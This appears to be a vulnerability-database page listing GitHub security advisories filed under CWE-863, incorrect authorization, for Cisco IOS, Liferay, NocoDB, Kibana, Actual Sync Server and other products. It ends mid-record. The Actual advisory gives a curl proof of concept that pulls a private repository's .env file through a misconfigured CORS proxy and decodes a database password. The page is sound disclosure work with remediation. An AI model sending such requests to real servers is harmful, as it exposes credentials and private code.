Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

7172 vulnerabilities reference this CWE, most recent first.

GHSA-M5C2-384P-37R2

Vulnerability from github – Published: 2022-05-01 18:05 – Updated: 2022-05-01 18:05
VLAI
Details

The FTP Server in Cisco IOS 11.3 through 12.4 does not properly check user authorization, which allows remote attackers to execute arbitrary code, and have other impact including reading startup-config, as demonstrated by a crafted MKD command that involves access to a VTY device and overflows a buffer, aka bug ID CSCek55259.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-2586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-05-10T00:19:00Z",
    "severity": "HIGH"
  },
  "details": "The FTP Server in Cisco IOS 11.3 through 12.4 does not properly check user authorization, which allows remote attackers to execute arbitrary code, and have other impact including reading startup-config, as demonstrated by a crafted MKD command that involves access to a VTY device and overflows a buffer, aka bug ID CSCek55259.",
  "id": "GHSA-m5c2-384p-37r2",
  "modified": "2022-05-01T18:05:10Z",
  "published": "2022-05-01T18:05:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-2586"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/34197"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5036"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/bugtraq/2009/Jan/0183.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/25199"
    },
    {
      "type": "WEB",
      "url": "http://www.cisco.com/en/US/products/products_security_advisory09186a00808399d0.shtml"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/6155"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/35334"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/494868"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/23885"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1018030"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/1749"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-M5FR-488C-22RQ

Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-05-24 19:15
VLAI
Details

An issue was discovered on Virgin Media Super Hub 3 (based on ARRIS TG2492) devices. Because their SNMP commands have insufficient protection mechanisms, it is possible to use JavaScript and DNS rebinding to leak the WAN IP address of a user (if they are using certain VPN implementations, this would decloak them).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-16651"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-20T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered on Virgin Media Super Hub 3 (based on ARRIS TG2492) devices. Because their SNMP commands have insufficient protection mechanisms, it is possible to use JavaScript and DNS rebinding to leak the WAN IP address of a user (if they are using certain VPN implementations, this would decloak them).",
  "id": "GHSA-m5fr-488c-22rq",
  "modified": "2022-05-24T19:15:17Z",
  "published": "2022-05-24T19:15:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16651"
    },
    {
      "type": "WEB",
      "url": "https://fidusinfosec.com/silently-unmasking-virgin-media-vpn-users-in-seconds-cve-2019-16651"
    },
    {
      "type": "WEB",
      "url": "https://portswigger.net/daily-swig/vpn-users-unmasked-by-zero-day-vulnerability-in-virgin-media-routers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-M5GV-VJ3F-6V2P

Vulnerability from github – Published: 2025-12-12 21:31 – Updated: 2025-12-12 22:12
VLAI
Summary
Liferay Portal and DXP Instance Admin can execute code using Objects Actions and Validations
Details

In Liferay Portal 7.4.3.27 through 7.4.3.42, and Liferay DXP 2024.Q1.1 through 2024.Q1.20, 2023.Q4.0 through 2023.Q4.10, 2023.Q3.1 through 2023.Q3.10, 7.4 update 27 through update 42 (Liferay PaaS, and Liferay Self-Hosted), the Objects module does not restrict the use of Groovy scripts in Object actions for Admin Users. This allows remote authenticated admin users with the Instance Administrator role to execute arbitrary Groovy scripts (i.e., remote code execution) through Object actions.

In contrast, in Liferay DXP (Liferay SaaS), the use of Groovy in Object actions is not allowed due to the high security risks it poses.

Starting from Liferay DXP 2024.Q2 and later, a new feature has been introduced in Instance Settings that allows administrators to configure whether Groovy scripts are allowed in their instances.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay:com.liferay.object.service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.96"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-3586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-12T22:12:32Z",
    "nvd_published_at": "2025-09-01T18:15:29Z",
    "severity": "HIGH"
  },
  "details": "In Liferay Portal 7.4.3.27 through 7.4.3.42, and Liferay DXP 2024.Q1.1 through 2024.Q1.20, 2023.Q4.0 through 2023.Q4.10, 2023.Q3.1 through 2023.Q3.10, 7.4 update 27 through update 42 (Liferay PaaS, and Liferay Self-Hosted), the Objects module does not restrict the use of Groovy scripts in Object actions for Admin Users. This allows remote authenticated admin users with the Instance Administrator role to execute arbitrary Groovy scripts (i.e., remote code execution) through Object actions. \n\nIn contrast, in Liferay DXP (Liferay SaaS), the use of Groovy in Object actions is not allowed due to the high security risks it poses. \n\nStarting from Liferay DXP 2024.Q2 and later, a new feature has been introduced in Instance Settings that allows administrators to configure whether Groovy scripts are allowed in their instances.",
  "id": "GHSA-m5gv-vj3f-6v2p",
  "modified": "2025-12-12T22:12:32Z",
  "published": "2025-12-12T21:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3586"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liferay/liferay-portal/commit/3b9e3bb1462ccd33ede05f73f45b38b8262f018f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liferay/liferay-portal/commit/79ddc243e60864c0c30cfccb1cc46e705e922cb0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liferay/liferay-portal/commit/b2aa19be228fb308ebe8ae1f47d3224e1fd06225"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://liferay.atlassian.net/browse/LPE-17586"
    },
    {
      "type": "WEB",
      "url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-3586"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Liferay Portal and DXP Instance Admin can execute code using Objects Actions and Validations"
}

GHSA-M5JP-P3R5-MFQP

Vulnerability from github – Published: 2026-04-10 00:30 – Updated: 2026-04-18 00:43
Withdrawn 2026-04-18 VLAI
Summary
Duplicate Advisory: OpenClaw: Gateway Plugin Subagent Fallback `deleteSession` Uses Synthetic `operator.admin`
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-h4jx-hjr3-fhgc. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.3.25 contains a privilege escalation vulnerability in the gateway plugin subagent fallback deleteSession function that uses a synthetic operator.admin runtime scope. Attackers can exploit this by triggering session deletion without a request-scoped client to execute privileged operations with unintended administrative scope.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2026.3.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-648",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T00:43:39Z",
    "nvd_published_at": "2026-04-09T22:16:34Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-h4jx-hjr3-fhgc. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw before 2026.3.25 contains a privilege escalation vulnerability in the gateway plugin subagent fallback deleteSession function that uses a synthetic operator.admin runtime scope. Attackers can exploit this by triggering session deletion without a request-scoped client to execute privileged operations with unintended administrative scope.",
  "id": "GHSA-m5jp-p3r5-mfqp",
  "modified": "2026-04-18T00:43:39Z",
  "published": "2026-04-10T00:30:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-h4jx-hjr3-fhgc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35645"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/b5d785f1a59a56c3471f2cef328f7c9a6c15f3e7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-privilege-escalation-via-synthetic-operator-admin-in-deletesession"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw: Gateway Plugin Subagent Fallback `deleteSession` Uses Synthetic `operator.admin`",
  "withdrawn": "2026-04-18T00:43:39Z"
}

GHSA-M5PM-2P35-XVPR

Vulnerability from github – Published: 2026-08-13 21:36 – Updated: 2026-08-13 21:36
VLAI
Details

Kibana Agent Builder determines whether a caller owns a private agent by comparing a stable user identifier when one is recorded, and falling back to a comparison of the username when it is not. A username is not unique across Elasticsearch authentication realms, so two distinct principals that share a username in different realms are treated as the same owner. This discloses the configuration and instructions of an agent the caller does not own, and allows that agent to be altered or removed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-72643"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T20:17:24Z",
    "severity": "HIGH"
  },
  "details": "Kibana Agent Builder determines whether a caller owns a private agent by comparing a stable user identifier when one is recorded, and falling back to a comparison of the username when it is not. A username is not unique across Elasticsearch authentication realms, so two distinct principals that share a username in different realms are treated as the same owner. This discloses the configuration and instructions of an agent the caller does not own, and allows that agent to be altered or removed.",
  "id": "GHSA-m5pm-2p35-xvpr",
  "modified": "2026-08-13T21:36:08Z",
  "published": "2026-08-13T21:36:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72643"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/kibana-9-4-5-9-5-1-security-update-esa-2026-124/389538"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M5QG-RVJQ-727P

Vulnerability from github – Published: 2026-05-21 20:34 – Updated: 2026-07-20 21:16
VLAI
Summary
NocoDB: OAuth Token Scope Not Enforced at ACL Layer Allows Scope Escalation
Details

Summary

The OAuth token strategy attached oauth_scope and oauth_granted_resources to the request user, but the ACL middleware never consulted either. An OAuth token issued with a restricted scope (e.g. MCP-only) therefore inherited the full permissions of the underlying user across all routes; the granted_resources.base_id restriction was bypassed on org-level endpoints that don't populate req.context.base_id.

Details

In packages/nocodb/src/strategies/oauth-token.strategy.ts, the strategy set is_oauth_token, oauth_client_id, oauth_granted_resources, and oauth_scope on the user object, then mapped through to the user's existing roles / base_roles. The ACL middleware in extract-ids.middleware.ts honoured is_api_token via blockApiTokenAccess but had no equivalent gate for is_oauth_token or scope-string enforcement.

The base/workspace restriction logic short-circuited when req.context.base_id was unset (org-level routes), so an OAuth token scoped to one base could still call org-level endpoints as the underlying user.

The fix adds a path-prefix allowlist (['/mcp', '/api/v3/', '/auth/user/me']) enforced inside the strategy and a blockOAuthTokenAccess ACL flag for endpoints that should never accept OAuth tokens.

Impact

  • Scope escalation: tokens issued with a narrow scope received the underlying user's full role.
  • Resource boundary bypass: per-base restrictions did not apply to org-level routes.
  • Violates least-privilege expectation for third-party OAuth integrations.

Credit

This issue was reported by @ik0z.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nocodb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.301.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46549"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T20:34:51Z",
    "nvd_published_at": "2026-06-23T21:16:58Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nThe OAuth token strategy attached `oauth_scope` and `oauth_granted_resources` to the request user, but the ACL middleware never consulted either. An OAuth token issued with a restricted scope (e.g. MCP-only) therefore inherited the full permissions of the underlying user across all routes; the `granted_resources.base_id` restriction was bypassed on org-level endpoints that don\u0027t populate `req.context.base_id`.\n\n### Details\n\nIn `packages/nocodb/src/strategies/oauth-token.strategy.ts`, the strategy set `is_oauth_token`, `oauth_client_id`, `oauth_granted_resources`, and `oauth_scope` on the user object, then mapped through to the user\u0027s existing `roles` / `base_roles`. The ACL middleware in `extract-ids.middleware.ts` honoured `is_api_token` via `blockApiTokenAccess` but had no equivalent gate for `is_oauth_token` or scope-string enforcement.\n\nThe base/workspace restriction logic short-circuited when `req.context.base_id` was unset (org-level routes), so an OAuth token scoped to one base could still call org-level endpoints as the underlying user.\n\nThe fix adds a path-prefix allowlist (`[\u0027/mcp\u0027, \u0027/api/v3/\u0027, \u0027/auth/user/me\u0027]`) enforced inside the strategy and a `blockOAuthTokenAccess` ACL flag for endpoints that should never accept OAuth tokens.\n\n### Impact\n\n- Scope escalation: tokens issued with a narrow scope received the underlying user\u0027s full role.\n- Resource boundary bypass: per-base restrictions did not apply to org-level routes.\n- Violates least-privilege expectation for third-party OAuth integrations.\n\n### Credit\n\nThis issue was reported by [@ik0z](https://github.com/ik0z).",
  "id": "GHSA-m5qg-rvjq-727p",
  "modified": "2026-07-20T21:16:10Z",
  "published": "2026-05-21T20:34:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocodb/nocodb/security/advisories/GHSA-m5qg-rvjq-727p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46549"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocodb/nocodb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NocoDB: OAuth Token Scope Not Enforced at ACL Layer Allows Scope Escalation"
}

GHSA-M62C-5Q34-F3CF

Vulnerability from github – Published: 2026-10-07 14:00 – Updated: 2026-10-07 14:00
VLAI
Summary
Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token
Details

Summary

Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When ACTUAL_GITHUB_TOKEN is configured, the proxy automatically attaches the server's GitHub token to GitHub requests.

The GitHub API allowlist check uses a raw startsWith() prefix test for /repos/{owner}/{repo} without requiring a path boundary after the repository name. If an allowlisted public plugin repository is https://github.com/acme/plugin, the proxy also accepts GitHub API URLs such as:

https://api.github.com/repos/acme/plugin-private/contents/.env
https://api.github.com/repos/acme/plugin-secrets/actions/secrets
https://api.github.com/repos/acme/plugin-internal/releases

Those URLs are outside the allowlisted repository but still pass because their API path starts with /repos/acme/plugin. The proxy then forwards the request with the server's ACTUAL_GITHUB_TOKEN, allowing any authenticated Actual user to read private GitHub resources reachable by that token.

Affected Endpoint

  • GET /cors-proxy?url=...

This endpoint is mounted only when:

if (config.get('corsProxy.enabled')) {
  app.use('/cors-proxy', corsApp.handlers);
}

Source: packages/sync-server/src/app.ts:68-70

Details

The CORS proxy is disabled by default but can be enabled through ACTUAL_CORS_PROXY_ENABLED. The GitHub token is configured through ACTUAL_GITHUB_TOKEN:

github: {
  token: {
    doc: 'GitHub Personal Access Token for API authentication.',
    format: String,
    default: '',
    env: 'ACTUAL_GITHUB_TOKEN',
  },
},
corsProxy: {
  enabled: {
    doc: 'Enable the CORS proxy endpoint.',
    format: Boolean,
    default: false,
    env: 'ACTUAL_CORS_PROXY_ENABLED',
  },
},

Source: packages/sync-server/src/load-config.js:280-296

The proxy fetches the plugin allowlist and stores repository URLs:

const response = await fetch(
  'https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json',
);
...
const plugins = await response.json();
allowlistedRepos = plugins.map(plugin => plugin.url);

Source: packages/sync-server/src/app-cors-proxy.js:43-50

The GitHub API check accepts any path that starts with /repos/${repoOwner}/${repoName}:

for (const repoUrl of allowlistedRepos) {
  const { pathname } = new URL(repoUrl);
  const [, repoOwner, repoName] = pathname.split('/');

  if (
    targetUrl === repoUrl ||
    targetUrl.startsWith(repoUrl + '/') ||
    (hostname === 'api.github.com' &&
      url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||
    ...
  ) {
    return true;
  }
}

Source: packages/sync-server/src/app-cors-proxy.js:84-99

For api.github.com, there is no delimiter after repoName. This means an allowlisted repo named plugin authorizes API requests for plugin-private, plugin-secrets, plugin-internal, and any other repository under the same owner whose name starts with plugin.

After this incorrect allowlist decision, the proxy attaches the server's GitHub token:

const githubToken = config.get('github.token');
if (
  githubToken &&
  (url.hostname === 'api.github.com' ||
    url.hostname === 'raw.githubusercontent.com' ||
    (url.hostname === 'github.com' && url.pathname.includes('/releases/')))
) {
  requestHeaders['Authorization'] = `Bearer ${githubToken}`;
  requestHeaders['User-Agent'] = 'Actual-Budget-Plugin-System';
}

Source: packages/sync-server/src/app-cors-proxy.js:192-201

Therefore the vulnerable flow is:

  1. A public plugin repository is allowlisted, for example https://github.com/acme/plugin.
  2. The same owner has a private repository with a prefix-matching name, for example acme/plugin-private.
  3. The Actual server has ACTUAL_CORS_PROXY_ENABLED=true.
  4. The Actual server has ACTUAL_GITHUB_TOKEN with access to acme/plugin-private.
  5. Any authenticated Actual user calls:
/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env
  1. isUrlAllowed() returns true because /repos/acme/plugin-private/... starts with /repos/acme/plugin.
  2. The proxy sends the request to GitHub with the server token.
  3. The response is returned to the low-privileged Actual user.

PoC

Preconditions

  1. ACTUAL_CORS_PROXY_ENABLED=true.
  2. ACTUAL_GITHUB_TOKEN is configured and can read a private repo.
  3. The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo.
  4. The attacker has any valid Actual session token.

Example:

  • Allowlisted public repo: https://github.com/acme/plugin
  • Private target repo: https://github.com/acme/plugin-private
  • Private file: .env

Manual Reproduction

Step 1: Request a private repo file through the Actual CORS proxy:

curl -s "http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env" \
  -H "X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION"

Vulnerable result:

{
  "name": ".env",
  "path": ".env",
  "encoding": "base64",
  "content": "UFJPRF9EQl9QQVNTV09SRD0uLi4="
}

Step 2: Decode the returned content field:

echo "UFJPRF9EQl9QQVNTV09SRD0uLi4=" | base64 -d

Example decoded output:

PROD_DB_PASSWORD=...

Python PoC

Attached separately as poc_actual_cors_proxy_github_prefix_bypass.py.

The PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub's API response is returned to the low-privileged Actual user.

Impact

  • Any authenticated Actual user can use the server's GitHub token against prefix-matched repositories outside the plugin allowlist.
  • Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed.
  • If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix.
  • Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.

Recommended Remediation

  • Parse and compare GitHub API repository path segments exactly.
  • Replace:
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)

with an exact boundary-aware check:

url.pathname === `/repos/${repoOwner}/${repoName}` ||
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)
  • Apply the same boundary discipline to every allowlist branch.
  • Add regression tests showing that an allowlisted owner/plugin does not authorize owner/plugin-private.
  • Consider never attaching ACTUAL_GITHUB_TOKEN for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 26.6.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@actual-app/sync-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T14:00:45Z",
    "nvd_published_at": "2026-09-25T23:16:53Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nActual Sync Server\u0027s CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When `ACTUAL_GITHUB_TOKEN` is configured, the proxy automatically attaches the server\u0027s GitHub token to GitHub requests.\n\nThe GitHub API allowlist check uses a raw `startsWith()` prefix test for `/repos/{owner}/{repo}` without requiring a path boundary after the repository name. If an allowlisted public plugin repository is `https://github.com/acme/plugin`, the proxy also accepts GitHub API URLs such as:\n\n```text\nhttps://api.github.com/repos/acme/plugin-private/contents/.env\nhttps://api.github.com/repos/acme/plugin-secrets/actions/secrets\nhttps://api.github.com/repos/acme/plugin-internal/releases\n```\n\nThose URLs are outside the allowlisted repository but still pass because their API path starts with `/repos/acme/plugin`. The proxy then forwards the request with the server\u0027s `ACTUAL_GITHUB_TOKEN`, allowing any authenticated Actual user to read private GitHub resources reachable by that token.\n\n## Affected Endpoint\n\n- `GET /cors-proxy?url=...`\n\nThis endpoint is mounted only when:\n\n```js\nif (config.get(\u0027corsProxy.enabled\u0027)) {\n  app.use(\u0027/cors-proxy\u0027, corsApp.handlers);\n}\n```\n\nSource: `packages/sync-server/src/app.ts:68-70`\n\n## Details\n\nThe CORS proxy is disabled by default but can be enabled through `ACTUAL_CORS_PROXY_ENABLED`. The GitHub token is configured through `ACTUAL_GITHUB_TOKEN`:\n\n```js\ngithub: {\n  token: {\n    doc: \u0027GitHub Personal Access Token for API authentication.\u0027,\n    format: String,\n    default: \u0027\u0027,\n    env: \u0027ACTUAL_GITHUB_TOKEN\u0027,\n  },\n},\ncorsProxy: {\n  enabled: {\n    doc: \u0027Enable the CORS proxy endpoint.\u0027,\n    format: Boolean,\n    default: false,\n    env: \u0027ACTUAL_CORS_PROXY_ENABLED\u0027,\n  },\n},\n```\n\nSource: `packages/sync-server/src/load-config.js:280-296`\n\nThe proxy fetches the plugin allowlist and stores repository URLs:\n\n```js\nconst response = await fetch(\n  \u0027https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json\u0027,\n);\n...\nconst plugins = await response.json();\nallowlistedRepos = plugins.map(plugin =\u003e plugin.url);\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:43-50`\n\nThe GitHub API check accepts any path that starts with `/repos/${repoOwner}/${repoName}`:\n\n```js\nfor (const repoUrl of allowlistedRepos) {\n  const { pathname } = new URL(repoUrl);\n  const [, repoOwner, repoName] = pathname.split(\u0027/\u0027);\n\n  if (\n    targetUrl === repoUrl ||\n    targetUrl.startsWith(repoUrl + \u0027/\u0027) ||\n    (hostname === \u0027api.github.com\u0027 \u0026\u0026\n      url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||\n    ...\n  ) {\n    return true;\n  }\n}\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:84-99`\n\nFor `api.github.com`, there is no delimiter after `repoName`. This means an allowlisted repo named `plugin` authorizes API requests for `plugin-private`, `plugin-secrets`, `plugin-internal`, and any other repository under the same owner whose name starts with `plugin`.\n\nAfter this incorrect allowlist decision, the proxy attaches the server\u0027s GitHub token:\n\n```js\nconst githubToken = config.get(\u0027github.token\u0027);\nif (\n  githubToken \u0026\u0026\n  (url.hostname === \u0027api.github.com\u0027 ||\n    url.hostname === \u0027raw.githubusercontent.com\u0027 ||\n    (url.hostname === \u0027github.com\u0027 \u0026\u0026 url.pathname.includes(\u0027/releases/\u0027)))\n) {\n  requestHeaders[\u0027Authorization\u0027] = `Bearer ${githubToken}`;\n  requestHeaders[\u0027User-Agent\u0027] = \u0027Actual-Budget-Plugin-System\u0027;\n}\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:192-201`\n\nTherefore the vulnerable flow is:\n\n1. A public plugin repository is allowlisted, for example `https://github.com/acme/plugin`.\n2. The same owner has a private repository with a prefix-matching name, for example `acme/plugin-private`.\n3. The Actual server has `ACTUAL_CORS_PROXY_ENABLED=true`.\n4. The Actual server has `ACTUAL_GITHUB_TOKEN` with access to `acme/plugin-private`.\n5. Any authenticated Actual user calls:\n\n```text\n/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env\n```\n\n6. `isUrlAllowed()` returns true because `/repos/acme/plugin-private/...` starts with `/repos/acme/plugin`.\n7. The proxy sends the request to GitHub with the server token.\n8. The response is returned to the low-privileged Actual user.\n\n## PoC\n\n### Preconditions\n\n1. `ACTUAL_CORS_PROXY_ENABLED=true`.\n2. `ACTUAL_GITHUB_TOKEN` is configured and can read a private repo.\n3. The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo.\n4. The attacker has any valid Actual session token.\n\nExample:\n\n- Allowlisted public repo: `https://github.com/acme/plugin`\n- Private target repo: `https://github.com/acme/plugin-private`\n- Private file: `.env`\n\n### Manual Reproduction\n\nStep 1: Request a private repo file through the Actual CORS proxy:\n\n```bash\ncurl -s \"http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env\" \\\n  -H \"X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION\"\n```\n\nVulnerable result:\n\n```json\n{\n  \"name\": \".env\",\n  \"path\": \".env\",\n  \"encoding\": \"base64\",\n  \"content\": \"UFJPRF9EQl9QQVNTV09SRD0uLi4=\"\n}\n```\n\nStep 2: Decode the returned `content` field:\n\n```bash\necho \"UFJPRF9EQl9QQVNTV09SRD0uLi4=\" | base64 -d\n```\n\nExample decoded output:\n\n```text\nPROD_DB_PASSWORD=...\n```\n\n### Python PoC\n\nAttached separately as `poc_actual_cors_proxy_github_prefix_bypass.py`.\n\nThe PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub\u0027s API response is returned to the low-privileged Actual user.\n\n## Impact\n\n- Any authenticated Actual user can use the server\u0027s GitHub token against prefix-matched repositories outside the plugin allowlist.\n- Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed.\n- If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix.\n- Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.\n\n## Recommended Remediation\n\n- Parse and compare GitHub API repository path segments exactly.\n- Replace:\n\n```js\nurl.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)\n```\n\nwith an exact boundary-aware check:\n\n```js\nurl.pathname === `/repos/${repoOwner}/${repoName}` ||\nurl.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)\n```\n\n- Apply the same boundary discipline to every allowlist branch.\n- Add regression tests showing that an allowlisted `owner/plugin` does not authorize `owner/plugin-private`.\n- Consider never attaching `ACTUAL_GITHUB_TOKEN` for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.",
  "id": "GHSA-m62c-5q34-f3cf",
  "modified": "2026-10-07T14:00:45Z",
  "published": "2026-10-07T14:00:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/actualbudget/actual/security/advisories/GHSA-m62c-5q34-f3cf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57449"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/actualbudget/actual"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
